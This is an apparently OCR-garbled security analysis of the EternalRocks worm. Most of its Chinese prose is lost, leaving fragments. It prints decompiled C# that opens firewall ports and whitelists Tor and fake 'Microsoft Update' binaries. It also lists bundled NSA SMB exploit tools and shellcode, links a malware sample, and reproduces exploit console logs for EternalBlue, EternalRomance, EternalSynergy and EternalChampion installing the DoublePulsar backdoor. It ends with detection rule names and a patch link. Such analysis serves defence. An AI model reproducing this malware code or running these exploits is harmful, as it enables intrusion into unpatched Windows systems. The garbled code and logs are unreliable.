" ” NSA

NSA EternalRocks
“ "% wannacry” MS17-010 SMB
7 NSA EternalBlue EternalRomance Eternalsynergy
EternalChampion Smbtouch Architouch DoublePulsar “ wannacry”
NSA “ ! NSA
EternalRocks MS17-010 SMB EternalRocks C:\Program
Files\Microsoft Updates Updatelnstaller.exe
.net TaskScheduler and SharpZLib

svchost.exe


http://api.nuget.org/packages/taskscheduler.2.5.23.nupkg
http://api.nuget.org/packages/sharpziplib.0.86.0.nupkg

(4) 445

Hashtable listeningPorts = firewall.GetlisteningPorts();
Arraylist arraylist = (Arraylist)listeningPorts["TCP"];

Arraylist arraylist2 = (ArrayList)listeningPorts["UDP"];

firewall.DoFirewallRule irewall add allowedprogram " + Globals.sInstallDirectory + "\\svchost.exe \"Microsoft Update Service\" ENABLE");
firewall.DoFirewallRule rewall add allowedprogram " + Globals.sInstallDirectery + "\\taskhost.exe \"Microsoft Update Helper\" ENABLE");
firewall.DoFirewallRule("firewall add allowedprogram * + Globals.sInstallDirectory + "\\Tor\\ter.exe \"Microsoft Update Installer\" ENABLE");
foreach (string textS in arraylist)

firenall.DoFirewallRule(string.Concat(new string[]

"firewall add pertopening TCP ",|
texts,
™ \"Open TCP Port ",

m

firewall.DoFirewallRule("advfirewall firewall add rule name=\"Open TCP Port " + text5 + "\" dir=in action=allow protecol=TCP localpert=" + text5);
1
foreach (string text5 in arraylist2)
firewall.DoFirewallRule(string.Concat(new string[]
"firewall add portopening UDP ",
texts,
™ \"Open UDP Port ",
texts,
o
D
firewall.DoFirewallRule("advfirewall firewall add rule name=\"Open UDP Port " + text5 + "\" dir=in action=allow protocol=UDP localport=" + text5);
}
firewall.DoFirewallRule("firewall set service fileandprint disable");

firewall.DoFirewallRule("advfirewall firewall add rule name=\"Malware SMB Block\" dir=in localport=445 protocel=TCP acticn=block™);
firewall.DoFirewallRule("firewall set opmode ENABLE");

(5) Tor C&C 24 taskhost.exe
C#
shadowbrokers.zip  NSA 3
payloads configs  bins
Bins 7 NSA
NSA

NSA
wmiprvse.exe Eternalchampion-2.0.0.exe
Ccsrss.exe Eternalblue-2.2.0.exe
taskmgr.exe Eternalromance-1.4.0.exe
spooler.exe Architouch-1.0.0.exe
msdtc.exe Smbtouch-1.1.1.exe
Isass.exe Eternalsynergy-1.0.1.exe
winlogon.exe Doublepulsar-1.3.1.exe

Configs 7

“ architouch.incanfig.xml 2017/5/23 23:07 XML 385 1KB
= doublepulsar.inconfigaxml 2017/5/23 23:07 XML 376 5 KB
& eternalblue.inconfig.xml 2017/5/23 23:.07 XML 35 3 KB
= eternalchampion.inconfig.xml 2017/5/23 23:07 XML 376 0 KB
& eternalromance.inconfig.xml 2017/5/23 23:.07 XML 35 18 KB
= eternalsynergy.inconfigaxml 2017/5/23 23:07 XML 376 9 KB
“ smbtouch.inconfig.xml 2017/5/23 23:07 XML 385 6 KB

Payloads 32 64 shellcode

dil
%] ReflectivePick_x64.dll 2017/5/23 23:07  REFERETE 539 KB
\%| ReflectivePick_x8a.dll 2017/5/23 23:07 MEEFTE 384 KB
| x64.shellcode.output 2017/5/23 23:07 OUTPUT Z2i¢ 41KB
|| x86.shellcode.output 2017/5/23 23:07 OUTPUT 30i¢ 4 KB

IP 445
32 64


https://raw.githubusercontent.com/stamparm/EternalRocks/master/samples/70ec0e2b6f9ff88b54618a5f7fbd55b383cf62f8e7c3795c25e2f613bfddf45d

Updatelnstaller.exe

“ ” wannacry
NSA “
” NSA
NSA
“ " 7 NSA
EternalBlue SMBv1
EternalRomance SMBv1
EternalChampion SMBv2
EternalSynergy SMBv3
DoublePulsar
Architouch SMB
SMBTouch SMB
4
1. (EternalBlue)

Windows XP  Windows Vista Windows 7 Windows 8 Windows 10
Windows 2000 Windows 2003 Windows 2008 Windows 2012

Windows XP 32

32 64
Windows
EternalBlue
32 Windows 7 32 64
Windows 7
Win7 “ wannacry”
EternalBlue

DoublePulsar

Windows 7 32 64 Windows 2008 R2

“

wannacry” NSA

EternalBlue Windows XP
Windows 2008 R2 32 64
Win7

DoublePulsar
shellcode



[%] Building exploit buffer
[*] Sending all but last fragment of exploit packet

[*] Sending SMB Echo request

[#] Good reply from SMB Echo request

[*] Starting non-paged pool grooming
[+] Sending SMBu2 buffers

[+] Sending large S$MBul buffer..DONE.
[+] Sending Final SHBUZ buffers

- Cwmam el - -l
T ] L- 1 va.vba.llg =BTV TTSHTEC Ta i

[*] Sending SMB Echo request

T«1 fand reanln Fram

T — S e . — A
[=] Send1ng last Fragment of exploit packet!

DOME.
[%] Receiving response from exploit packet

[+] ETERNALBLUE overuwrite completed successfully (©xC000006D)!
[*%] Sending egg to corrupted connection.
[*%] Triggering free of corrupted buffer.
[*] Pinging backdoor. ..

[+] Backdoor returned code: 10 - Success!

[+] Ping returned Target architecture: x86 (32-bit)

[+] Backdoor installed

[*] CORE sent serialized output blob (2 bytes):

0x00000000 ©8 0O

[*] Received output parameters from CORE
Eternalblue Succeeded

2. (EternalRomance)

Windows XP  Windows Vista Windows 7 Windows 8 Windows 10
Windows 2000 Windows 2003 Windows 2008 Windows 2012

Windows XP(SPO~SP3 32 SP1~SP2 64 ) Windows Server 2003

SPO~SP2 32 SP1~SP2 64 Windows Vista( ) Windows SERVER 2008
Windows 7 Windows SERVER 2008R2
Windows

XP



[+] Success!
[+] Smb pipe and rpc setup complete
[#¥] Filling barrel with fish... done

Preparing dynamite. ..

[*] Trying stick 1 (x8B)...BOOH!
Successfully Leaked Transaction!
Successfully caught Fish-in-a-barrel

[*] Attempting to find remote SRU module

[+] Reading from CONNECTION struct at: 0x822CEDAS8

[+] Found SRU global data pointer: BxB24CACGC

[+] Locating function tables...
[+] Transaction2Dispatch Table at: ©xB24CAS598

[*] Installing DOUBLEPULSAR

[+] Leaked Npp Buffer to Execute at: Ox81CE2893

[*] shellcodeaddress = 81¢e2998, shellcodefilesize=3655

[+] Backdoor shellcode written

[+] Backdoor function pointer overuritten
[*] Executing DOUBLEPULSAR
[%] DOUBLEPULSAR should now be installed. The DOPU client can be used
installation.
[#] Plugin completed successfully

[+] Contract: StagedUpload

[+] ConnectedTcp: FFFFFFFF

[+] XorMask: 9¢c

[+] TargetOsArchitecture: x86
[+] Eternalromance Succeeded

EternalRomance DoublePulsar
DoublePulsar shellcode
(Eternalsynergy)
Windows 8 Windows 2012
Windows 8 64 Windows 2012 64
Windows 8 Windows 2012
64



[=%] Attempting to find remote SRU module
[+] Reading from CONNECTION struct at: OxFFFFFAS01A942920
[+] Found SRU global data pointer: OxFFFFF880BEOEBFAR
r1'---+- - v e
LT] Ir8nsaciion£uisSpatcn laple at: WXrrrrrssu

[*] Beginning quest for executable memory. ..
[+] PreferredilorkQueue: FFFFFASB1ABSA100
[+] IrpThread: FFFFFA801ABE4880
[+] KProcess: FFFFFA8018C88040
[+] ProcessListEntry.Blink: FFFFF802834D2C80
[+] Searching backwards. .
[+] Base of Ht: FFFFF80283201000
[+] Found RWX memory!!! FFFFF80283472000

[*] Copying code to target
[+] Backdoor shellcode written
[%] Triggering stub allocator
[+] Backdoor function pointer overwritten
[+] Cleared RWX region
[*%] Triggering DOUBLEPULSAR installer
to verify |[*] DOUBLEPULSAR should now be installed. The DOPU client can be used
installation.

[+] Plugin completed successfully
[+] Contract: StagedUpload
[+] ConnectedTcp: FFFfffff
[+] XorMask: B¢
[+] TargetOsArchitecture: x84

Eternalsunernu Surceadead

Eternalsynergy DoublePulsar
DoublePulsar shellcode
4. (EternalChampion)
Windows XP(SPO~SP3 32 SP1~SP2 64 )  Windows Server 2003
SPO~SP2 32 SP1~SP2 64 Windows Vista( ) Windows SERVER 2008
Windows 7 Windows SERVER 2008R2 Windows 8
EternalChampion DoublePulsar

shellcode



Connecting to target
[+] Connection established

Initializing SHB connection
[+] SHMB session established
[+] SHB setup complete

Attempting informatien leak (sync)

_ _ Sending shellcode to taraet
] successfully sent

ing to exploit... [*] Prepa
e races bhegin! [=] Let t

ition 1: [%] Compe
attempting++++ b
qualified for the finals b

1 Competition 2:
4 attempting++++
4 qualified for the finals
None Won [

] Competition 3:
4 attempting++++
4 qualified for the finals
None Won ([

1. EternalRocks
NSA
EternalBlue TCP_NSA_EternalBlue_( )_SMB
[MS17-010]
TCP_NSA_EternalBlue_( )_SMB
_shellcode
TCP_NSA_EternalBlue_( )_SMB
(win7/2008-x64)
TCP_NSA_EternalBlue_( )_SMB
(win8.1/2012-x64)
EternalRomance TCP_NSA_EternalRomance_( )_SMB
[MS17-010]
EternalSynergy TCP_NSA _SMB shellcode
EternalChampion TCP_NSA _SMB shellcode
DoublePulsar TCP_NSA Windows_SMB_DoublePulsar
2. MS17-010

https://technet.microsoft.com/zh-cn/library/security/MS17-010



